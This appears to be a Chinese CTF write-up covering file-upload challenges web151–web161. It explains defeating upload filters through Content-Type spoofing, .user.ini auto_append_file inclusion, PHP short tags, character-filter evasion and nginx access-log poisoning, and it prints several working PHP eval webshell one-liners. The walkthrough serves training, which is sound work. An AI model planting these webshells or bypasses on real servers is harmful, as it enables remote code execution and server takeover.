目录
web151
web152
web153
web154
web155
web156
web157
web158
web159
web160
web161
web151
提示前台验证不可靠 那限制条件估计就是在前端设置的
上传php小马后 弹出了窗口说不支持的格式
查看源码
这一条很关键 这种不懂直接ai搜 意思就是限制了上传类型 允许的后缀格式为png
我们直接修改并且上传小马
给出了上传路径 访问传参即可 得出flag
方法二 因为是前端验证嘛
修改小马后缀为png bp抓包修改回来也可以
web152
提示后端管的严
就算把前端允许的格式修改为php也不行 后端返回个报错信息 文件类型不允许
抓包修改类型为PNG
Content-Type: application/octet-stream
修改为
Content-Type: image/png
成功
获取flag
web153
依旧显示文件类型不合规
修改类型不行了
修改后缀也不行 那么估计就是对文件内容进行检测了 在文件的内容前加入PNG头标识也不行
可能即使后端判断后缀太严格只要是.php就不行
发现upload下有个index.php文件 那就可以使用.user.ini的方式了
php.ini是php的配置文件 定义全局的 .user.ini也是配置文件作用与目录的 优先级比全局配置文件高 前提是当前目录下有php文件 那么在.user.ini配置文件定义当前目录所有php文件包含一个指定的php文件 即可 但是这个指定的php文件也需要我们上传 我们无法上传php 才想到的.user.ini 所以包含一个txt文件也可以的 只要是txt文件内容是php内容 文件包含过来就会解析txt里面的php内容
首先上传.user.ini文件 内容为auto_append_file=1.txt
首先就是前端允许类型为ini这样通过前端 后端修改类型为image/png通过后端 要记得在user.ini前增加一个. 必须在bp中增加(在本地.开头可能会不让) 因为全称就是.user.ini
上传txt文件
依旧是先绕过前端 后端文件类型修改为image/png
访问/upload即可 并传入post参数为我们的命令
web154
以上一题的方法试一下
.user.ini文件成功上传
但是txt文件上传失败说是文件内容不可以
经过测试只要是文件中存在php就不可以
使用php短标签格式即可
获取flag
web155
同web154
使用蚁剑连接查看过滤源码发现 确实过滤了php并且过滤文件的内容 以及判断类型
web156
同web154
区别文件内容又过滤了[] 导致小马不能用 换成{}即可
<?=eval($_POST[1]);?>
<?=eval($_POST{1});?>
注意 判断过滤什么 使用二分法 一半一半测试
web157
同web154
额外多过滤了{}以及;号 不影响直接删除即可
因为 在php中最后一个;可以不用写
上一题去除分号即可
{}问题如何解决 多学一个姿势POST不给参数也可以
一句话木马为
<?=eval(array_pop($_POST));?>
去除分号
<?=eval(array_pop($_POST))?>
意思就是弹出post最后一对键值对的值 从而php解析这个值 从而达到执行命令
web158
使用web157即可
web159
文件内容()不让用了 那就不能写一句话木马了
还有什么方式呢 那就是 首先ini文件包含一个1.txt文件 1.txt文件的php内容为包含U-A日志文件
/var/log/nginx/access.log 然后U-A 添加一句话木马 即可 这个log也被过滤了 使用 . 拼接即可
.user.ini 内容为 auto_append_file=1.txt
1.txt内容为 <?=include '/var/l'.'og/nginx/access.l'.'og'?>
添加U-A值 <?php eval($_POST[1]); ?>
目前来说日志确实被包含了 但是内容太多 手动执行命令不好找 并且也不确定一句话是否被写入日志中 使用蚁剑连接测试即可
成功
找到了flag
既然已经使用蚁剑进行连接了 那就看看这几关后端是怎么过滤的吧
后端过滤脚本
可以看到文件内容过滤了 php ( [ { ; log
并且验证文件类型是否为image/png 以及后缀是否是php
web160
文件内容过滤了空格 很容易我们将空格换成换行符0a即可 不能再post中直接写%0a 那个url的写法 先用1进行占位 再hex中找到1对应的31 修改为0a即可
web161
经过bp测试 不让上传ini后缀的文件了 txt也不行 png也不行 估计是白名单?
我重新来 直接在页面中上传png图片 结果也说图片不合规 这是啥都不让上传?
真有意思前端允许类型是png 后端却不可以了
经过测试 后缀只要不是php就可以 文件类型必须要是png 文件头内容必须是GIF头(并且光有头不行 还必须要有内容)
既然知道这样了 按照上一题
上传.user.ini 内容为 auto_append_file=1.txt
上传1.txt内容为 <?=include '/var/l'.'og/nginx/access.l'.'og'?>(过滤了空格 记得替换09等)
添加U-A值 <?php eval($_POST[1]); ?>
并且文件内容前必须要加上GIF的头字段(我查看源码也不明白原因 有个函数获取该文件大小 也就是说 文件头要和文件对应 才会返回真 这个GIF文件头组合任意内容 该函数都会返回真 这是我的理解)
确定包含日志
蚁剑连接成功确实 木马写入 查找flag
在这里说一下 这些题目都是再上一题的基础上再增加过滤条件的 所以就是上一关禁用的 下一关也会被禁用
先发到web161 之后的需要vps长地址 目前弄不出来长地址 导致只能做到这